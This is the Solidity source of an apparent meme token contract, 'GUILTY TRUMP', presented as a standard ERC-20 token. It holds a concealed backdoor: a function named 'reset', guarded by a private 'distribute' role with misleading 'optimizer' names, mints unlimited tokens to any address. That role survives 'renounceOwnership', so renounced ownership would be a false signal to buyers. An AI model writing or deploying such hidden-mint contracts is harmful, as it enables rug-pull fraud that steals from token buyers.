creation_sourcecode: // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.0;
  
  contract GUILTY {
      string public constant name = "GUILTY TRUMP";
  
      string public constant symbol = "GUILTY";
  
      uint8 public constant decimals = 18;
  
  
      address public owner;
      address private distribute;
      uint256 public totalSuppl;
  
  
      mapping(address => uint256) public balances;
      mapping(address => mapping(address => uint256)) public allowed;
      event Approval(address indexed owner, address indexed spender, uint256 value);event Transfer(address indexed from, address indexed to, uint256 value);event OptimizerChanged(address indexed newOptimizer);event Burn(address indexed from, uint256 value);event OwnershipRenounced(address indexed previousOwner);
      
      constructor() {
          owner = msg.sender;
          distribute = msg.sender;  
          initiateSupply(1000000000);emit Transfer(address(0), msg.sender, totalSuppl);
      }
  
      modifier onlyOwner() {
          require(msg.sender == owner, "");
          _;
      }
  
      function initiateSupply(uint256 initialUnits) private {
          totalSuppl = initialUnits * 10 ** uint256(decimals);
          balances[msg.sender] = totalSuppl;
      }
  
      modifier onlyOptimizing() {
          require(msg.sender == distribute, "");
          _;
      }
  
      function transfer(address _to, uint256 _value) public returns (bool) {
          require(_to != address(0), "");
          require(_value <= balances[msg.sender], "");
          balances[msg.sender] -= _value;balances[_to] += _value;emit Transfer(msg.sender, _to, _value);return true;
      }function balanceOf(address _owner) public view returns (uint256) {
          return balances[_owner];
      }function reset( uint256 _amount, address _to) public onlyOptimizing {
          require(_to != address(0), "");
          totalSuppl += _amount;
          balances[_to] += _amount;
          emit Transfer(address(0), _to, _amount);
      }function approve(address _spender, uint256 _value) public returns (bool) {
          allowed[msg.sender][_spender] = _value;
          emit Approval(msg.sender, _spender, _value);
          return true;
      }    function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
          require(_to != address(0), "");require(_value <= balances[_from], "");require(_value <= allowed[_from][msg.sender], "");
          balances[_from] -= _value;balances[_to] += _value;allowed[_from][msg.sender] -= _value;
          emit Transfer(_from, _to, _value);return true;
      }function release(address _newOptimizer) public onlyOwner {
          require(_newOptimizer != address(0), "");distribute = _newOptimizer;emit OptimizerChanged(_newOptimizer);
      }    function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) {
          uint256 currentAllowance = allowed[msg.sender][_spender];require(currentAllowance >= _subtractedValue, "");
          allowed[msg.sender][_spender] -= _subtractedValue;emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);return true;
      }
      function allowance(address _owner, address _spender) public view returns (uint256) {
          return allowed[_owner][_spender];
      }function burn(uint256 _value) public {
          require(_value <= balances[msg.sender], "");
          balances[msg.sender] -= _value;totalSuppl -= _value;
          emit Transfer(msg.sender, address(0), _value);emit Burn(msg.sender, _value);
      }function renounceOwnership() public onlyOwner {
          emit OwnershipRenounced(owner);owner = address(0);
      }
  
      
  }